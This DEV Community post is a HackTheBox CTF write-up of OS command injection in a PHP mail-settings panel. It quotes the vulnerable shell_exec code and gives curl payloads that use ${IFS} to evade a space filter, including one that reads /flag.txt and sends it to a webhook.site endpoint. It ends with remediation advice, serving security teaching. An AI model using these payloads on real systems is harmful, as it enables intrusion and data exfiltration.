DEV Community

Cover image for HackTheBox : Void Whispers Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : Void Whispers Writeup

Summary

The "Void Whispers" mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash's ${IFS} variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate /flag.txt.


1. Recon

The challenge presented a Halloween-themed "Void Whispers" mail-settings panel - a small PHP app for configuring the "from name," "from email," "sendmail path," and "mail program" used to send support notifications.

The page rendered a form with four fields and a Save button that posts to /update:

Enter fullscreen mode Exit fullscreen mode

2. Source review

A downloadable build archive provided the full server source. Routing goes through a minimal custom router (Router.php) into IndexController.php, which handles both GET / (renders the form) and POST /update (saves settings):

public function updateSetting($router)
{
  $from = $_POST['from'];
  $mailProgram = $_POST['mailProgram'];
  $sendMailPath = $_POST['sendMailPath'];
  $email = $_POST['email'];

  if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
    return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
  }

  if (preg_match('/\s/', $sendMailPath)) {
    return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
  }

  $whichOutput = shell_exec("which $sendMailPath");
  if (empty($whichOutput)) {
    return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
  }
  ...
}
Enter fullscreen mode Exit fullscreen mode

Two things stand out immediately:

  1. sendMailPath is passed straight into shell_exec("which $sendMailPath") with no escaping (escapeshellarg/escapeshellcmd are never called).
  2. The only validation is a regex that blocks literal whitespace characters (\s). It does not block shell metacharacters like ;, |, `, $(), or && - and critically, bash's ${IFS} variable expands to whitespace at execution time, so it's a ready-made bypass for a "no spaces" filter.

This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.

3. Exploitation

Step 1 - Confirm the space-filter bypass with a time delay

${IFS} (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past preg_match('/\s/', ...). Chaining a second command with ; after the legitimate sendmail binary confirms execution:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;sleep${IFS}5'
Enter fullscreen mode Exit fullscreen mode

The request took ~5 seconds to complete. Repeating with sleep${IFS}10 took ~10 seconds - confirming arbitrary command execution, with response time as the oracle.

Step 2 - Out-of-band confirmation

To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>'
Enter fullscreen mode Exit fullscreen mode

The webhook.site inbox logged an inbound GET request from the target server's IP moments later, confirming full outbound command execution capability from the box.

Step 3 - Exfiltrate the flag

With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>?x=$(cat${IFS}/flag.txt)'
Enter fullscreen mode Exit fullscreen mode

The webhook.site inbox received a new request with the flag contents in the x query parameter.

4. Result

The captured request on webhook.site showed:

GET /<webhook-id>?x=HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue Why it matters Fix
User input passed directly into shell_exec() Any shell metacharacter in the input executes as part of the command Never build shell commands from user input; if a shell call is unavoidable, use escapeshellarg() on every argument
Filter only blocks literal whitespace (\s) ${IFS}, tabs, and other whitespace-equivalent shell constructs bypass a naive space check Use an allowlist of expected binary paths instead of blocklisting characters
which $sendMailPath used to "validate" a path that is later stored and reused Validation logic itself is the injection point Validate against a fixed, known-safe list of binaries rather than shelling out to check existence

The takeaway: blocklisting specific characters (or here, just whitespace) is fragile - shells have many equivalent ways to express the same thing (${IFS}, $IFS$9, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.

Top comments (0)